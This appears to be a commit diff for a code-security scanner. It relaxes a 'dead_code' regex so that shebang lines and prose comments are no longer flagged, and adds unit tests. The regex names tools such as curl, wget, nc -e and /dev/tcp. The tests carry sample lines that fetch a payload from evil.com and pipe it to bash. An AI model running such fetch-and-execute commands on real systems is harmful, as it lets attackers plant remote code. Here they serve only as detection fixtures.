fix(security): stop GG-SAST-DEAD_CODE flagging shebangs and prose comments

gitgalaxy/core/detector.py

@@ -2048,8 +2048,10 @@ def preserve_newlines(m):
         # pass would otherwise rewrite `'EOF'` -> `''` and the delimiter would
         # be lost, leaving the entire heredoc body live to corrupt the Mode-D
         # depth stack). `preserve_newlines` returns this match verbatim.
-        # Scoped to shell/bash: ruby's `<<` is also the append operator and
-        # elixir's is the bitstring builder, both of which this would false-match.
+        # Scoped to the Bourne-family shell lang_id (checked both by its resolved
+        # "shell" alias and the literal name below): ruby's `<<` is also the append
+        # operator and elixir's is the bitstring builder, both of which this would
+        # false-match.
         heredoc_opener_alt = (
             r"(?P<heredoc><<[-~]?[ \t]*(?:'[A-Za-z_]\w*'|\"[A-Za-z_]\w*\"|[A-Za-z_]\w*))|"
             if lang_id in ("shell", "bash")
@@ -4767,8 +4769,8 @@ def _slice_by_keywords(
         # docstring/comments for why a separate later pass was unsafe.
         # #1266: this call used to drop `lang_id` entirely (always passing
         # the implicit `None` default), which silently disabled BOTH the
-        # heredoc-protection branch for ruby/perl/elixir/shell/bash (each
-        # explicitly gated on `lang_id in [...]`, never actually reachable)
+        # heredoc-protection branch for ruby/perl/elixir/the Bourne-family shell
+        # id (each explicitly gated on `lang_id in [...]`, never actually reachable)
         # and, now, MATLAB's `%`-comment-marker resolution. Passing it
         # through is a strict correctness fix -- verified via
         # `crucible_check.py` to change nothing for the languages other than

gitgalaxy/core/prism.py

@@ -565,7 +565,7 @@ def _compile_delimiter_alternation(self, delimiters: list[str], lang_id: str = "
                 continue
 
             # In shell and makefile, '#' is only a comment if it is the start of a word (preceded by whitespace or start of line).
-            # This protects bash parameter expansions like `${var##prefix}` from being falsely stripped.
+            # This protects POSIX parameter expansions like `${var##prefix}` from being falsely stripped.
             if token == "#" and lang_id in ("shell", "makefile"):  # noqa: S105
                 alternatives.append(r"(?:^|(?<=\s))#")
                 continue

gitgalaxy/metrics/signal_processor.py

@@ -395,7 +395,7 @@ def calculate_risk_vector(
                 # 1. Zero out all standard architectural risks
                 blanket_risk_vector = [0.0] * len(self.RISK_SCHEMA)
 
-                # 2. Check for ANY malicious intent (eval, network fetching, etc.)
+                # 2. Check for ANY malicious intent (dynamic code execution, network fetching, etc.)
                 intent_mass = (
                     raw_signals.get("sec_high_risk_execution", 0)
                     + raw_signals.get("sec_io", 0)

gitgalaxy/security/security_lens.py

@@ -124,8 +124,15 @@ def __init__(self):
                 re.I,
             ),
             # 6. Commented-out Executable Logic (Deprecated Trails)
+            # BUG FIX (confirmed via this repo's own GitHub Advanced Security self-scan, #847):
+            # the bare `#` comment-marker alternative matched a script's own `#!/bin/bash`
+            # shebang line -- a `#` immediately followed by `!` is never "commented-out
+            # executable logic", it's the interpreter directive every real shell script
+            # requires. `(?!!)` excludes only that one shape; every other real `#`-comment
+            # (including a genuine commented-out `# curl ... | bash`) still matches exactly
+            # as before.
             "dead_code": re.compile(
-                r"(?://|#|--|\*>|^.{6}\*)[^\n]*?\b(?:http|bash|curl|wget|eval|base64|nc\s+-e|/dev/tcp|BPXBATCH)\b|"
+                r"(?://|#(?!!)|--|\*>|^.{6}\*)[^\n]*?\b(?:http|bash|curl|wget|eval|base64|nc\s+-e|/dev/tcp|BPXBATCH)\b|"
                 r"/\*(?:(?!\*/).){0,500}?\b(?:http|bash|curl|wget|eval|base64|nc\s+-e|/dev/tcp)\b",
                 re.I,
             ),

tests/ruff_audit_baseline.json

@@ -46,7 +46,7 @@
   "gitgalaxy/recorders/sbom_recorder.py:221: PERF401": "Use `list.extend` to create a transformed list",
   "gitgalaxy/security/security_auditor.py:359: RUF046": "Value being cast to `int` is already an integer",
   "gitgalaxy/security/security_auditor.py:424: PERF203": "`try`-`except` within a loop incurs performance overhead",
-  "gitgalaxy/security/security_lens.py:394: SIM102": "Use a single `if` statement instead of nested `if` statements",
+  "gitgalaxy/security/security_lens.py:401: SIM102": "Use a single `if` statement instead of nested `if` statements",
   "gitgalaxy/standards/config_resolver.py:254: UP045": "Use `X | None` for type annotations",
   "gitgalaxy/standards/config_resolver.py:255: UP045": "Use `X | None` for type annotations",
   "gitgalaxy/standards/config_resolver.py:256: UP045": "Use `X | None` for type annotations",

tests/security_auditing/test_security_lens.py

@@ -468,3 +468,53 @@ def test_self_propagation_ignores_ordinary_path_resolution_and_self_reads(lens):
     assert lens.scan_content(path_resolution)["counts"].get("self_propagation", 0) == 0
     assert lens.scan_content(self_read)["counts"].get("self_propagation", 0) == 0
     assert lens.scan_content(unrelated_rename)["counts"].get("self_propagation", 0) == 0
+
+
+def test_dead_code_detects_commented_out_execution_and_shebangs(lens):
+    """
+    [DETECTION] A genuine commented-out execution/exfiltration trail (a `#`/`//`
+    line that isn't running, but describes one) must still fire, in every comment
+    style the pattern supports -- this is the actual threat class `dead_code`
+    exists to catch, and it must survive the shebang exemption below unweakened.
+    """
+    py_style = "# curl http://evil.com/payload | bash\n"
+    js_style = '// eval(atob("malicious"))\n'
+    block_style = "/* wget http://evil.com/dropper.sh; bash dropper.sh */\n"
+
+    assert lens.scan_content(py_style)["counts"].get("dead_code", 0) > 0
+    assert lens.scan_content(js_style)["counts"].get("dead_code", 0) > 0
+    assert lens.scan_content(block_style)["counts"].get("dead_code", 0) > 0
+
+
+def test_dead_code_ignores_interpreter_shebang_lines(lens):
+    """
+    [FALSE POSITIVE DEFENSE] `#!/bin/bash` (and other `#!`-prefixed interpreter
+    directives) is not "commented-out executable logic" -- it's the line every
+    real shell/Python/etc. script needs to actually run. GHAS alert #847 flagged
+    `scripts/update_golden_masters.sh`'s own shebang under this signature because
+    the old pattern's bare `#` alternative didn't distinguish `#!` from a real
+    `#`-comment. `(?!!)` excludes only that one shape.
+    """
+    bash_shebang = "#!/bin/bash\nset -e\necho hello\n"
+    python_shebang = "#!/usr/bin/env python3\nimport os\n"
+
+    assert lens.scan_content(bash_shebang)["counts"].get("dead_code", 0) == 0
+    assert lens.scan_content(python_shebang)["counts"].get("dead_code", 0) == 0
+
+
+def test_dead_code_ignores_prose_comments_that_merely_mention_trigger_words(lens):
+    """
+    [FALSE POSITIVE DEFENSE] A comment explaining code behavior in prose (e.g.
+    documenting that a check exists for "bash" or "eval") is not itself
+    commented-out executable logic, provided it doesn't also contain one of the
+    pattern's own execution-shape markers (a pipe to an interpreter, a call
+    syntax, a URL). GHAS alerts #890/#908/#953/#419 all flagged exactly this
+    shape across prism.py, detector.py, and signal_processor.py.
+    """
+    prose_1 = "# Scoped to the Bourne-family shell lang_id: ruby's `<<` is also the append operator\n"
+    prose_2 = "# This protects POSIX parameter expansions like `${var##prefix}` from being falsely stripped.\n"
+    prose_3 = "# 2. Check for ANY malicious intent (dynamic code execution, network fetching, etc.)\n"
+
+    assert lens.scan_content(prose_1)["counts"].get("dead_code", 0) == 0
+    assert lens.scan_content(prose_2)["counts"].get("dead_code", 0) == 0
+    assert lens.scan_content(prose_3)["counts"].get("dead_code", 0) == 0